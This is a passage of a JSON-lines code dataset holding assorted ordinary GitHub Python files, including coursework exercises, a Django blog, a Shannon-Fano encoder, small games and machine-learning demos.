out\n\nfor addr in waveformAddresses:\n data = Data(addr, printWaveformData)\n data.setLabel(getWaveformName(addr))\n dataSet.addData(data)\n\n\nhardcodedAddresses = [\n bankedAddress(0x1e, 0x4b15),\n bankedAddress(0x1b, 0x4b13)\n ]\n\nfor addr in hardcodedAddresses:\n data = Data(addr, Data.printAsByteString)\n data.setLabel('HardcodedData_{0}_{1}'.format(myhex(addr // 0x4000), myhex(toGbPointer(addr), 4)))\n dataSet.addData(data)\n\n\n# Hardcoded offsets for start and end of sound data segments\nf = open('src/data/music/music_tracks_data_1b_1.asm', 'w')\ns = dataSet.printDataRange(0x6caaa, 0x6ce2c)\nf.write(s)\nf.close()\n\nf = open('src/data/music/music_tracks_data_1b_2.asm', 'w')\ns = dataSet.printDataRange(0x6d000, 0x6f0a7)\nf.write(s)\nf.close()\n\nf = open('src/data/music/music_tracks_data_1b_3.asm', 'w')\ns = dataSet.printDataRange(0x6f100, 0x6f379)\nf.write(s)\nf.close()\n\nf = open('src/data/music/music_tracks_data_1e_1.asm', 'w')\ns = dataSet.printDataRange(0x78a9d, 0x78cff)\nf.write(s)\nf.close()\n\nf = open('src/data/music/music_tracks_data_1e_2.asm', 'w')\ns = dataSet.printDataRange(0x79000, 0x7aeb8)\nf.write(s)\nf.close()\n\nf = open('src/data/music/music_tracks_data_1e_3.asm', 'w')\ns = dataSet.printDataRange(0x7b000, 0x7bf9a)\nf.write(s)\nf.close()\n","repo_name":"zladx/LADX-Disassembly","sub_path":"tools/generate_music.py","file_name":"generate_music.py","file_ext":"py","file_size_in_byte":18479,"program_lang":"python","lang":"en","doc_type":"code","stars":767,"dataset":"github-code","pt":"82"} +{"seq_id":"74509206029","text":"#!/usr/bin/env python3 -tt\n\"\"\"This file contains some helpful utility functions\nthat you might be able to use throughout the assignment.\n\"\"\"\n\ndef direction_conversion(direction, x, y):\n \"\"\"Moves in a specified direction from (x, y)\n and returns the coordinates of the new cell\"\"\"\n \n conversion = {\n 'north': (x-1, y),\n 'east': (x, y+1),\n 'south': (x+1, y),\n 'west': (x, y-1),\n }\n\n return conversion[direction]","repo_name":"CalebJ-Smith/AtHomeProjects","sub_path":"Stanford CS41/Assignment 2/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33195688946","text":"import sys\nimport os\n\n\nimport keras\nimport tensorflow as tf\nfrom models.keras_models.vgg import VGG\n\nimport pickle\nimport json\nfrom sklearn import metrics\nimport yaml\n\n\ndef validate(model, data, settings):\n print(\"-- RUNNING VALIDATION --\", flush=True)\n\n # The data, split between train and test sets. We are caching the partition in\n # the container home dir so that the same data subset is used for\n # each iteration.\n\n # Training error (Client validates global model on same data as it trains on.)\n try:\n with open(os.path.join(data, 'trainx.pyp'), 'rb') as fh:\n x_train = pickle.loads(fh.read())\n with open(os.path.join(data, 'trainy.pyp'), 'rb') as fh:\n y_train = pickle.loads(fh.read())\n\n except:\n pass\n\n # Test error (Client has a small dataset set aside for validation)\n try:\n with open(os.path.join(data, 'testx.pyp'), 'rb') as fh:\n x_test = pickle.loads(fh.read())\n with open(os.path.join(data, 'testy.pyp'), 'rb') as fh:\n y_test = pickle.loads(fh.read())\n\n except:\n pass\n\n try:\n model_score = model.evaluate(x_train, y_train, verbose=0)\n print('Training loss:', model_score[0])\n print('Training accuracy:', model_score[1])\n\n model_score_test = model.evaluate(x_test, y_test, verbose=0)\n print('Test loss:', model_score_test[0])\n print('Test accuracy:', model_score_test[1])\n y_pred = model.predict_classes(x_test)\n clf_report = metrics.classification_report(y_test.argmax(axis=-1), y_pred)\n\n except Exception as e:\n print(\"failed to validate the model {}\".format(e), flush=True)\n raise\n\n report = {\n \"classification_report\": clf_report,\n \"training_loss\": model_score[0],\n \"training_accuracy\": model_score[1],\n \"test_loss\": model_score_test[0],\n \"test_accuracy\": model_score_test[1],\n }\n\n print(\"-- VALIDATION COMPLETE! --\", flush=True)\n return report\n\n\nif __name__ == '__main__':\n\n with open('settings.yaml', 'r') as fh:\n try:\n settings = dict(yaml.safe_load(fh))\n except yaml.YAMLError as e:\n raise (e)\n\n with open('/app/client_settings.yaml', 'r') as fh:\n try:\n client_settings = dict(yaml.safe_load(fh))\n except yaml.YAMLError as e:\n raise (e)\n\n from fedn.utils.kerashelper import KerasHelper\n\n helper = KerasHelper()\n weights = helper.load_model(sys.argv[1])\n\n model = VGG(dimension=settings['model_dimension'])\n opt = keras.optimizers.Adam(learning_rate=0.001)\n model.compile(loss='categorical_crossentropy',\n optimizer=opt,\n metrics=['accuracy'])\n model.set_weights(weights)\n\n report = validate(model, '/app/data', settings)\n\n with open(sys.argv[2], \"w\") as fh:\n fh.write(json.dumps(report))\n\n","repo_name":"scaleoutsystems/FEDn-client-cifar10-keras","sub_path":"client/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":2895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"15305548051","text":"# Problem 1 \n# Counting vowels\n\nlist = ('a','e','i','o','u')\nvowel = 0\n\nfor char in s:\n if char in list:\n vowel += 1\n \nprint ('Number of vowels :' +str(vowel))\n\n# Problem 2\n# Counting bobs\n\ncount = 0\nidx = 0\nwhile True:\n idx = s.find('bob', idx)\n if idx >=0:\n count += 1\n idx +=1\n else:\n break\nprint ('Number of times bob occurs is:' +str(count))\n\n#Problem 3\n# Alphabetical substrings\n\ndef longest_alpha_sub(string):\n '''\n string = string receive in argument\n sub = substring containing the longest substring in alphabetical\n cur = current sequence\n '''\n string = string.lower() \n\n sub = cur = string[0] \n \n for char in string[1:]:\n if char >= cur[-1]:\n cur += char\n else:\n cur = char\n \n if len(cur) > len(sub):\n sub = cur\n\n return sub\n","repo_name":"simonbenoit/MIT6.00.1x","sub_path":"ProblemSet1/problem_set1.py","file_name":"problem_set1.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36566799638","text":"\"\"\"Checks exact gradients against numerical gradients for\nall currently available kernels.\"\"\"\nimport unittest\n#All currently available kernels are listed as keys in this dict.\nfrom xGPR.kernels import KERNEL_NAME_TO_CLASS\nfrom kernel_specific_gradient_test import run_kernelspecific_test\n\nclass CheckKernelGradients(unittest.TestCase):\n \"\"\"Checks the NMLL gradients for all currently implemented\n kernels.\"\"\"\n\n def test_kernel_gradients(self):\n for kernel_name in KERNEL_NAME_TO_CLASS.keys():\n is_conv_kernel = False\n if \"conv\" in kernel_name.lower() or \"graph\" in kernel_name.lower():\n is_conv_kernel = True\n costcomps = run_kernelspecific_test(kernel_name,\n conv_kernel = is_conv_kernel)\n for costcomp in costcomps:\n self.assertTrue(costcomp)\n\n #For convolution kernels, also test that graph or sequence averaging\n #works.\n if is_conv_kernel:\n print(\"****Testing with averaging****\")\n costcomps = run_kernelspecific_test(kernel_name,\n conv_kernel = is_conv_kernel,\n averaging = True)\n for costcomp in costcomps:\n self.assertTrue(costcomp)\n\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"jlparkI/xGPR","sub_path":"test/gradient_calc_tests/check_kernel_gradients.py","file_name":"check_kernel_gradients.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"2296449811","text":"array_given = input().split()\ncommand_given = input().split()\n\n\ndef exchange(array, command):\n array_list = [int(num) for num in array]\n index = int(command[1])\n array_1 = array_list[:index + 1]\n array_2 = array_list[index + 1:]\n if index < len(command):\n array_list = array_2 + array_1\n else:\n print(\"Invalid index\")\n return array_list\n\n\ndef max_min_odd_even(array, command):\n array_list = exchange(array, command='exchange')\n even_list = []\n odd_list = []\n result = 0\n for num in array_list:\n if int(num) % 2 == 0:\n even_list.append(num)\n else:\n odd_list.append(num)\n\n if 'max' in command:\n if 'odd' in command:\n if len(odd_list) == 0:\n print(\"No matches\")\n else:\n max_odd = max(odd_list)\n result = odd_list.index(max_odd)\n else:\n if len(even_list) == 0:\n print(\"No matches\")\n max_even = max(even_list)\n result = even_list.index(max_even)\n elif 'min' in command:\n if 'odd' in command:\n if len(odd_list) == 0:\n print(\"No matches\")\n else:\n min_odd = min(odd_list)\n result = odd_list.index(min_odd)\n else:\n if len(even_list) == 0:\n print(\"No matches\")\n else:\n min_even = min(even_list)\n result = even_list.index(min_even)\n return result\n\n\ndef first_last_odd_even(array, command):\n array_list = exchange(array, command)\n even_list = []\n odd_list = []\n result_2 = []\n count = int(command[1])\n for num in array_list:\n if int(num) % 2 == 0:\n even_list.append(num)\n else:\n odd_list.append(num)\n if 'first' in command:\n if count > len(command):\n print(\"Invalid count\")\n else:\n if 'odd' in command:\n if count > len(odd_list):\n result_2 = odd_list\n else:\n result_2 = odd_list[:count]\n else:\n if count > len(even_list):\n result_2 = even_list\n else:\n result_2 = even_list[:count]\n elif 'last' in command:\n if count > len(command):\n print(\"Invalid count\")\n else:\n if 'odd' in command:\n if count > len(odd_list):\n result_2 = odd_list\n else:\n result_2 = odd_list[count:]\n else:\n if count > len(even_list):\n result_2 = even_list\n else:\n result_2 = even_list[count:]\n return result_2\n\n\ndef array_manipulator(array, command):\n while not command == \"end\":\n if 'exchange' in command:\n array_list = exchange(array, command='exchange')\n elif 'max' in command:\n result = max_min_odd_even(array, command)\n print(result)\n elif 'first' in command:\n result = first_last_odd_even(array, command)\n print(result)\n command = input()\n\n\narray_manipulator(array_given, command_given)\n\n\n","repo_name":"AssiaHristova/SoftUni-Software-Engineering","sub_path":"Programming Fundamentals/functions/array_manipulator.py","file_name":"array_manipulator.py","file_ext":"py","file_size_in_byte":3265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39544166877","text":"import sys\nimport random \n\ndef game():\n # Play again?\n def play_again():\n again = input(\"Play again? (y/n): \").lower()\n if again == 'n':\n print(\"Goodbye\")\n sys.exit(0) \n if again =='y':\n game()\n else:\n sys.exit(0) \n\n # Choose a random line\n def random_line(fname):\n lines=open(fname).read().splitlines()\n return random.choice(lines)\n\n # Compare i/o\n def find_indexes(word, letter):\n indexes = []\n for index, letter_in_word in enumerate(word):\n if letter == letter_in_word:\n indexes.append(index)\n return indexes\n\n # Show state\n def show_state_of_game():\n print(word)\n print()\n print(user_word)\n print()\n print(\"Tries left: \", no_of_tires)\n print()\n print(\"Used letters: \", used_letters)\n print()\n\n no_of_tires=5\n word=random_line('list_game.txt')\n used_letters=[]\n user_word=[]\n\n ###\n\n for _ in word:\n user_word.append(\"_\")\n\n while True:\n letter = input(\"Guess the letter: \").lower()\n if len(letter)>1:\n print()\n print(\"Only one character available for input\")\n print()\n no_of_tires=no_of_tires\n elif len(letter)==1:\n if letter.isdigit() == True:\n print()\n print(\"Only letters are allowed\")\n print()\n else:\n print(\"validator1\")\n valid_letter = letter\n used_letters.append(valid_letter)\n found_indexes = find_indexes(word,letter)\n\n if len(found_indexes) == 0:\n print(\"No such letter\")\n no_of_tires-=1\n if no_of_tires==0:\n print(\"You lost\")\n play_again() \n else:\n for index in found_indexes:\n user_word[index]=letter\n\n if (\"\".join(user_word)) == word:\n print(\"You won\")\n play_again() \n show_state_of_game()\ngame()\n","repo_name":"no-kaluszka-here/python_proj","sub_path":"wisielec_new.py","file_name":"wisielec_new.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19124118636","text":"#!/usr/bin/python3\n\"\"\"\nResolve NQUEEN Problem\n\"\"\"\n\n\ndef check(queen, column):\n \"\"\"\n function that checks if the position of each queen is valid\n \"\"\"\n for i in range(column):\n if queen[i] == queen[column]:\n return False\n if abs(queen[i] - queen[column]) == abs(i - column):\n return False\n return True\n\n\ndef fulling(queen, column):\n \"\"\"\n Recursive Function that change the queen when we\n get the correct position with no problems\n \"\"\"\n\n tam = len(queen)\n exito = 0\n\n if column == tam:\n result = []\n\n for i in range(len(queen)):\n result.append([i, queen[i]])\n\n print(result)\n return True\n\n queen[column] = -1\n\n while(queen[column] < tam - 1 or exito == 1):\n queen[column] = queen[column] + 1\n if check(queen, column) is True:\n if column != tam:\n fulling(queen, (column + 1))\n else:\n exito = 1\n break\n return True\n\n\nif __name__ == \"__main__\":\n import sys\n\n if len(sys.argv) != 2:\n print(\"Usage: nqueens N\")\n sys.exit(1)\n\n if not sys.argv[1].isdigit():\n print(\"N must be a number\")\n sys.exit(1)\n\n if int(sys.argv[1]) < 4:\n print(\"N must be at least 4\")\n sys.exit(1)\n\n queen = []\n tam = int(sys.argv[1])\n for i in range(tam):\n queen.append(-1)\n\n fulling(queen, 0)\n","repo_name":"factism001/alx-higher_level_programming","sub_path":"0x08-python-more_classes/101-nqueens.py","file_name":"101-nqueens.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"28923807552","text":"# regular expression match\n# use python 3.5 as default\n\ndef is_match(str0, pattern):\n \"match the str with pattern\"\n if 0 == len(pattern):\n return 0 == len(str0)\n\n if 1 == len(pattern):\n if len(str0) < 1:\n return False\n elif pattern[0] != str0[0] and pattern[0] != '.':\n return False\n else:\n return 1 == len(str0)\n\n if '*' != pattern[1]:\n if len(str0) < 1:\n return False\n elif pattern[0] != str0[0] and pattern[0] != '.':\n return False\n else:\n return is_match(str0[1:], pattern[1:])\n else:\n # '*' stands for 0 elements\n if is_match(str0, pattern[2:]):\n return True\n # '*' stands for 1 or more preceding elements\n i = 0;\n while i < len(str0) and (str0[i] == pattern[0] or pattern[0] == '.'):\n if is_match(str0[i+1:], pattern[2:]):\n return True\n i += 1\n return False\n\ndef main():\n\n print(\"\"\"\n\n Regular Expression Matching\n\n implement regular expression matching with support\n for '.' and '*'\n\n Here you just need to deal with the special case:\n\n if pattern is empty, just judge if string is empty\n\n if pattern is one, just judge if the length and element match\n\n if pattern is two, deal with the second element is '*' or not '*'\n\n other case, use recursive method to slice the question\n\n \"\"\")\n\n # test\n print(\"str: aab, pattern: c*a*b*, result: \", is_match(\"aab\", \"c*a*b*\"))\n print(\"str: aa, pattern: .*, result: \", is_match(\"aa\", \".*\"))\n print(\"str: aa, pattern: a, result: \", is_match(\"aa\", \"a\"))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"smileboywtu/Code-Interview","sub_path":"regular-expression-match.py","file_name":"regular-expression-match.py","file_ext":"py","file_size_in_byte":1754,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"19619113779","text":"\"\"\"\n Find Minimum in Rotated Sorted Array II\n\n Q. Suppose an array sorted in ascending order is rotated at some pivot unknown to you beforehand.\n\n (i.e., [0,1,2,4,5,6,7] might become [4,5,6,7,0,1,2]).\n\n Find the minimum element.\n\n The array may contain duplicates.\n\n Example 1:\n\n Input: [1,3,5]\n Output: 1\n Example 2:\n\n Input: [2,2,2,0,1]\n Output: 0\n Note:\n\n This is a follow up problem to Find Minimum in Rotated Sorted Array.\n Would allow duplicates affect the run-time complexity? How and why?\n\n\"\"\"\n\n\nclass Solution:\n def findMin(self, nums: List[int]) -> int:\n s, e = 0, len(nums) - 1\n if nums[e] > nums[s]:\n return nums[s]\n while s < e:\n mid = (s + e) // 2\n if nums[mid] == nums[e]:\n e -= 1\n elif nums[mid] > nums[e]:\n s = mid + 1\n else:\n e = mid\n\n return nums[s]\n","repo_name":"vaaishalijain/Leetcode","sub_path":"July-LeetCode-Challenge-Solutions/25_Find_Minimum_in_Rotated_Sorted_Array_II.py","file_name":"25_Find_Minimum_in_Rotated_Sorted_Array_II.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41256838851","text":"import logging\n\nfrom counterblock.lib import util ,blockchain\nfrom counterblock.lib.processor import API\n\nlogger = logging.getLogger(__name__)\n\n@API.add_method\ndef get_burns(address = None, block = None, offset = 0, limit = 500):\n\n if limit > 500:\n limit = 500\n elif limit < 0:\n raise Exception('limit must be positive')\n\n if address is not None and block is not None:\n raise Exception('Canot set address and block at same time.')\n if address is None and block is None:\n raise Exception('address or block must be set.')\n target_query = 'source = \"{}\"'.format(address) if address is not None else 'block_index = ' + str(block)\n\n sql = ('''select burns.*, blocks.block_time as timestamp from burns\n inner join blocks on burns.block_index = blocks.block_index\n and burns.{} order by block_index DESC limit {} offset {}'''\n ).format(target_query, str(limit), str(offset))\n\n data_body = util.call_jsonrpc_api(\"sql\", {\"query\": sql}, abort_on_error=True)[\"result\"]\n\n for x in data_body:\n x['burned'] = '{:.8f}'.format(blockchain.normalize_quantity(x['burned'], True))\n x['earned'] = '{:.8f}'.format(blockchain.normalize_quantity(x['earned'], True))\n\n return {\n \"data\": data_body,\n \"total\": len(data_body)\n }\n","repo_name":"monaparty/counterblock","sub_path":"counterblock/lib/modules/burns.py","file_name":"burns.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"39511666290","text":"while True:\n user_name = input('Введите имя пользователя: ')\n action = input('Введите действи��\\n'\n '1 - Просмотреть чат:\\n'\n '2 - Отправить сообщение:\\n'\n '3 - Выход из чата.\\n'\n 'Введите действие: ')\n try:\n if not 'chat.txt':\n raise FileNotFoundError\n if action == '1':\n with open('chat.txt', 'r', encoding='utf-8') as chat:\n print(*chat)\n elif action == '2':\n with open('chat.txt', 'a+', encoding='utf-8') as chat:\n chat.seek(0)\n for line in chat.readlines():\n print(line, end='')\n message = input('Введите сообщение: ')\n chat.write(f'{user_name}: {message}\\n')\n elif action == '3':\n print('Выход из чата!')\n break\n else:\n print('Некорректный выбор действия\\n'\n 'введите 1, 2 или 3')\n except FileNotFoundError:\n print('Файл не создан! Чат пустой')\n\n# зачёт!\n","repo_name":"Igorek1986/python_basic","sub_path":"Module23/06_chat/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6453912143","text":"import sys\n\ndef groups(symbol_freq_code): #ф-ия разбивания на две группы по частотам\n all_freq = sum(elem[1] for elem in symbol_freq_code) #общая частота группы\n\n count = 0 #кол-во эл-тов в первой (левой) группе \n part_freq = 0 #частота подгруппы \n min_razn = all_freq #мин разность частот для учета разбиения на группы\n\n for elem in symbol_freq_code: #определяем группы \n part_freq += elem[1] # + очередная частота\n razn = abs(all_freq - 2 * part_freq) #проверка разницы м/у всей частотой гр и удвоенной частотой подгр (тк 2 гр)\n \n if min_razn > razn: #если мин разн > вычисленной\n min_razn = razn #меняем мин разн\n else: #иначе завершаем деление на группы\n break\n\n count += 1\n \n return symbol_freq_code[:count], symbol_freq_code[count:] #имеем две группы по частотам (левая и правая)\n\n\ndef coding(symbol_freq_code): #ф-ия кодирования\n if len(symbol_freq_code) == 1: #если длина очередного списка = 1, то прекращаем его кодировать\n return\n\n first, second = groups(symbol_freq_code) #делим на две группы ф-ей разбивания\n\n for elem in first: #для левой - ноль\n elem[2] += '0' #в код\n\n for elem in second: #для правой - единицу\n elem[2] += '1' #в код\n\n coding(first) #рекурсивно кодируем левую группу\n coding(second) #рекурсивно кодируем правую группу\n\nstroka = input(\"\\nВведите текст для шифрования: \")\nif len(stroka) == 0:\n sys.exit()\n \nflag = 0 \nsymbol_freq = [] #список пар (символ - частота)\ncount_for = 0\n\nfor i in range(len(stroka)): #поиск частот каждого символа и в список\n for j in range(len(symbol_freq)):\n if stroka[i] == symbol_freq[j][0]:\n symbol_freq[j][1] += 1\n flag = 1\n if flag == 0:\n symbol_freq.append([stroka[i], 1]) #добавляем элемент [символ - частота] в конец списка\n count_for += 1\n flag = 0\n\nprint(symbol_freq) #выведем список пар (символ - частота)\n\nencoded_one = ''\nif count_for == 1:\n for i in range(len(stroka)):\n encoded_one += '0'\n print (\"Закодированный текст: \", encoded_one)\n print(\"Кол-во различных символов: {}, длина кода: {}\".format(len(symbol_freq), len(encoded_one)))\n sys.exit()\n \nsymbol_freq_code = [] #новый список троек (символ - частота - код)\nfor i in range(len(symbol_freq)):\n symbol_freq_code.append(([str(symbol_freq[i][0]), symbol_freq[i][1], '']))\n\nsymbol_freq_code = sorted(symbol_freq_code, key = lambda freq: freq[1], reverse = True) #сортируем по убыванию частоты\ncoding(symbol_freq_code) #кодируем\n\nfor elem in sorted(symbol_freq_code): #по алфавиту \n print(\"{}: {}\".format(elem[0], elem[2])) #выводим пару (символ - код)\n\nencoded = '' #выведем закодированную строку\nfor i in range(len(stroka)):\n for elem in symbol_freq_code:\n if stroka[i] == elem[0]:\n encoded += elem[2]\n encoded += ' '\nprint(\"Закодированный текст: \", encoded)\n\na = ''\nlist_encoded = encoded.split()\nprint(list_encoded)\nfor i in range(len(list_encoded)):\n for elem in symbol_freq_code:\n if list_encoded[i] == elem[2]:\n a += elem[0] \n\nprint(\"Кол-во различных символов: {}, длина кода: {}\".format(len(symbol_freq), len(encoded)))\nprint(\"Декодированный текст: \", a)\n","repo_name":"KristaYanb/theory_of_information","sub_path":"lab2/Шеннон-Фано_лр2.py","file_name":"Шеннон-Фано_лр2.py","file_ext":"py","file_size_in_byte":4755,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25183876339","text":"from django.contrib.postgres.search import SearchVector, SearchQuery, SearchRank\nfrom django.core.paginator import Paginator, EmptyPage, \\\n PageNotAnInteger\nfrom django.db.models import Count\nfrom django.shortcuts import render, get_object_or_404\n\n#api\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\n\n#local\nfrom .serializers import PostSerializer\nfrom .forms import CommentForm, SearchForm\nfrom .models import Post\nfrom taggit.models import Tag\n\n\ndef about(request):\n return render(request, 'about.html')\n\n\ndef post_list(request, tag_slug=None):\n object_list = Post.published.all()\n tag = None\n if tag_slug:\n tag = get_object_or_404(Tag, slug=tag_slug)\n object_list = object_list.filter(tags__in=[tag])\n\n paginator = Paginator(object_list, 6) # 6 posts in each page\n page = request.GET.get('page')\n try:\n posts = paginator.page(page)\n except PageNotAnInteger:\n # If page is not an integer deliver the first page\n posts = paginator.page(1)\n except EmptyPage:\n # If page is out of range deliver last page of results\n posts = paginator.page(paginator.num_pages)\n return render(request,\n 'blog/list.html',\n {'page': page,\n 'posts': posts,\n 'tag': tag})\n\n\n# class PostListView(ListView):\n# queryset = Post.published.all()\n# context_object_name = 'posts'\n# paginate_by = 6\n# template_name = 'blog/list.html'\n\n\ndef post_detail(request, uuid):\n post = get_object_or_404(Post, uuid=uuid)\n\n # List of active comments for this post\n post_tags_ids = post.tags.values_list('id', flat=True)\n similar_posts = Post.published.filter(tags__in=post_tags_ids) \\\n .exclude(uuid=post.uuid)\n similar_posts = similar_posts.annotate(same_tags=Count('tags')) \\\n .order_by('-same_tags', '-publish')[:4]\n\n comments = post.comments.filter(active=True)\n new_comment = None\n if request.method == 'POST':\n # A comment was posted\n comment_form = CommentForm(data=request.POST)\n if comment_form.is_valid():\n # Create Comment object but don't save to database yet\n new_comment = comment_form.save(commit=False)\n # Assign the current post to the comment\n new_comment.post = post\n # Save the comment to the database\n new_comment.save()\n else:\n comment_form = CommentForm()\n return render(request,\n 'blog/detail.html',\n {'post': post,\n 'comments': comments,\n 'new_comment': new_comment,\n 'comment_form': comment_form,\n 'similar_posts': similar_posts})\n\n\ndef post_search(request):\n search_form = SearchForm()\n query = None\n results = []\n if 'query' in request.GET:\n search_form = SearchForm(request.GET)\n if search_form.is_valid():\n query = search_form.cleaned_data['query']\n search_vector = SearchVector('title', 'description')\n search_query = SearchQuery(query)\n results = Post.published.annotate(\n search=search_vector,\n rank=SearchRank(search_vector, search_query)\n ).filter(search=search_query).order_by('-rank')\n\n # paginator = Paginator(request, results, 6)\n context = {\n 'search_form': search_form,\n 'query': query,\n 'results': results\n }\n\n return render(request,\n 'blog/search.html', context)\n\n\n@api_view(['GET'])\ndef post_api_list(request):\n if request.method == 'GET':\n emp = Post.objects.all()\n serializer = PostSerializer(emp, many=True)\n return Response(serializer.data)\n\n # elif request.method == 'POST':\n # serializer = PostSerializer(data=request.data)\n # if serializer.is_valid():\n # serializer.save()\n # return Response(serializer.data, status=status.HTTP_201_CREATED)\n # return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n# @api_view(['GET', 'PUT', 'DELETE'])\n@api_view(['GET'])\ndef post_api_details(request, uuid):\n try:\n post = Post.objects.get(uuid=uuid)\n except Post.DoesNotExist:\n return Response(status=status.HTTP_404_NOT_FOUND)\n if request.method == 'GET':\n serializer = PostSerializer(post)\n return Response(serializer.data)\n # elif request.method == 'PUT':\n # serializer = PostSerializer(emp, data=request.data)\n # if serializer.is_valid():\n # serializer.save()\n # return Response(serializer.data)\n # return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n # elif request.method == 'DELETE':\n # emp.delete()\n # return Response(status= status.HTTP_204_NO_CONTENT)","repo_name":"pcanwar/pcanw.com","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21531050102","text":"import numpy as np \nimport matplotlib\nimport matplotlib.pyplot as plt\n\n#random data\nA = [2, 5, 7, 9, 13, 16, 18, 20, 24, 29, 34, 37, 39, 40]\nb = [2, 3, 6, 15, 22, 28, 34, 36, 40, 37, 35, 31, 28, 25]\n\n# Visualize data\nplt.plot(A, b, 'ro') # Ve ra cac diem voi toa do la (x, y)\n\n# Change row vector to colum vector\nA = np.array([A]).T\nb = np.array([b]).T\n\n# Create A square\n# print(A[:, 0]) # In tat ca cac so ở cột 0 trong ma tran A theo hang ngang\nx_square = np.array([A[:, 0]**2]).T\n\n# Combine x_square and A\nA = np.concatenate((x_square, A), axis=1)\n\n# Create vector 1\nones = np.ones((A.shape[0], 1), dtype=np.int8) # np.ones() la ham dac biet tao toan vecto 1\n\n# Combine 1 and A\nA = np.concatenate((A, ones), axis=1) \nprint(A)\n\n# Use fomular\nx = np.linalg.inv(A.transpose().dot(A)).dot(A.transpose()).dot(b) # (A.T*A)^-1*A.T* => tim dc x la gia tri a,b,c trong y = ax^2 + bx +c\n\n#Ve parabole y = ax^2 + bx +c, test data to draw\nx0 = np.linspace(1, 45, 10000) # x0 chua 10000 diem tu 1 den 45, x0.shape = (10000,)\ny0 = x[0][0]*x0*x0 + x[1][0]*x0 + x[2][0]\nprint(y0)\n\nplt.plot(x0, y0)\n\n\nplt.show()","repo_name":"datng-dev/Linear-Regression-Demo","sub_path":"parabole.py","file_name":"parabole.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"30926224715","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport matplotlib.pyplot as plt\nimport matplotlib\n# make experiments reproducible\ntorch.manual_seed(1)\n\ndevice = \"cpu\"\n\n# define the simulation\ndef simulation(x):\n \"\"\" run simulation with input x, produce lable y\"\"\"\n y = ((x-target)**2).sum(1).view(-1,1)\n return y\n\n# define the target\ntarget = torch.tensor([0.5, -1.88], device=device)\nprint(\"target\", target)\n\n# start from random x\nx = torch.randn([100,2], device=device, requires_grad=True)\n\n# define a neural network (Layers: 1->32->32->1)\nclass Net(nn.Module):\n def __init__(self):\n num_neurons = 32\n super(Net, self).__init__()\n self.fc1 = nn.Linear(2, num_neurons)\n self.fc2 = nn.Linear(num_neurons, num_neurons)\n self.fc3 = nn.Linear(num_neurons, 1)\n\n self.dropout = nn.Dropout(0.5)\n def forward(self, x):\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\nmodel = Net().to(device=device)\noptimizer = optim.SGD(model.parameters(), lr=0.01, momentum=0.9)\n\nmutation_rate = 0.5\n\nhistory = {}\nhistory1 = {}\nfor j in range(5):\n history[j] = []\n history1[j] = []\n\n# Training loop\nfor i in range(300):\n # Step 1. Do simulation\n y = simulation(x)\n\n # Step 2. Use the result of simulation to train the model\n for step in range(10):\n y_hat = model(x)\n loss = nn.MSELoss()(y_hat, y)\n loss.backward(retain_graph=True)\n optimizer.step()\n optimizer.zero_grad()\n\n # Step 3. Use the model to tune the x\n for step in range(1):\n y_hat = model(x)\n loss_x = y_hat.mean()\n loss_x.backward(retain_graph=True)\n with torch.no_grad():\n x -= mutation_rate * x.grad\n x.grad.zero_()\n for j in range(5):\n history[j].append(x.detach().numpy()[j][0])\n history1[j].append(x.detach().numpy()[j][1])\n\n# Plot the results\ncolors = [\"red\", \"blue\", \"green\", \"orange\", \"purple\"]\nxx = range(len(history[0]))\nyy = [0.5] * len(history[0])\nyy1 = [-1.88] * len(history1[0])\nplt.plot(xx,yy,label=\"truth for x[0]\", color=\"#FF3322\", linewidth=2)\nplt.plot(xx,yy1,label=\"truth for x[1]\", color=\"#FF3322\", linewidth=2)\nfor j in range(5):\n plt.plot(xx, history[j], c=colors[j], linewidth=1)\n plt.plot(xx, history1[j], c=colors[j], linewidth=1)\nplt.legend()\nplt.ylabel(\"x[0] and 